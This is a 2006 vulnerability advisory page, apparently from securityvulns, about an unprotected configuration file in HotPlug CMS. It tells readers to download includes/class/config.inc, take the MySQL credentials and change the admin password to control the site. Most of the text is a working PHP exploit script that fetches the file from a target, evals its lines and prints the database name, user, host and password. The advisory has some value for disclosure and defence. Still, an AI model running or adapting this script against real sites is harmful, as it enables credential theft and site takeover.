Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14223
HistorySep 12, 2006 - 12:00 a.m.

HotPlug CMS Config File Include Vulnerability

2006-09-1200:00:00
vulners.com
14

Hello

HotPlug CMS Config File Include Vulnerability

Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : [email protected]

After Script Url Add
includes/class/config.inc

And you will download the config file , so that you will be able to connect by remote connect program to the mysql server and change admin password and be able to control the website…

And This is the exploit if you want :-

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* HotPlug CMS Config File Include Vulnerability exploit
/* By : HACKERS PAL
/* WwW.SoQoR.NeT
/
print_r('
/
/
/
HotPlug CMS Config File Include Vul /
/
by HACKERS PAL <[email protected]> /
/
site: http://www.soqor.net /');
if ($argc<2) {
print_r('
/
– /
/
Usage: php '.$argv[0].' host /
/
Example: /
/
php '.$argv[0].' http://localhost/hot /
/
*/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/includes/class/config.inc";
$page=$url.$exploit;
Function get_page($url)
{

              if&#40;function_exists&#40;&quot;file_get_contents&quot;&#41;&#41;
              {

                   $contents = file_get_contents&#40;$url&#41;;

                      }
                      else
                      {
                          $fp=fopen&#40;&quot;$url&quot;,&quot;r&quot;&#41;;
                          while&#40;$line=fread&#40;$fp,1024&#41;&#41;
                          {
                           $contents=$contents.$line;
                          }


                              }
                   return $contents;
     }

 $page = get_page&#40;$page&#41;;

 if&#40;eregi&#40;&quot;&lt;?php&quot;,$page&#41;&#41;
 {
    $lines = explode&#40;&quot;&#92;n&quot;,$page&#41;;

    $evaled = $lines[50].$lines[51].$lines[52].$lines[53].$lines[54].$lines[55].$lines[56].$lines[58].$lines[58].$lines[59];
    $evaled=str_replace&#40;&quot;include&quot;,&quot;#include&quot;,$evaled&#41;;
    eval&#40;$evaled&#41;;


    Echo &quot;&#92;n[+] Database Name : $db_name&quot;;
    Echo &quot;&#92;n[+] Database User : $db_user&quot;;
    Echo &quot;&#92;n[+] Database Host : $db_host&quot;;
    Echo &quot;&#92;n[+] Database Pass : $db_password&quot;;
                             Die&#40;&quot;&#92;n/* Visit us : WwW.SoQoR.NeT                   */&#92;n/**********************************************/&quot;&#41;;
         }
         else
         {
            Die&#40;&quot;&#92;n[-] Exploit Failed&#92;n/* Visit us : WwW.SoQoR.NeT                   */&#92;n/**********************************************/&quot;&#41;;

            }

?>

WwW.SoQoR.NeT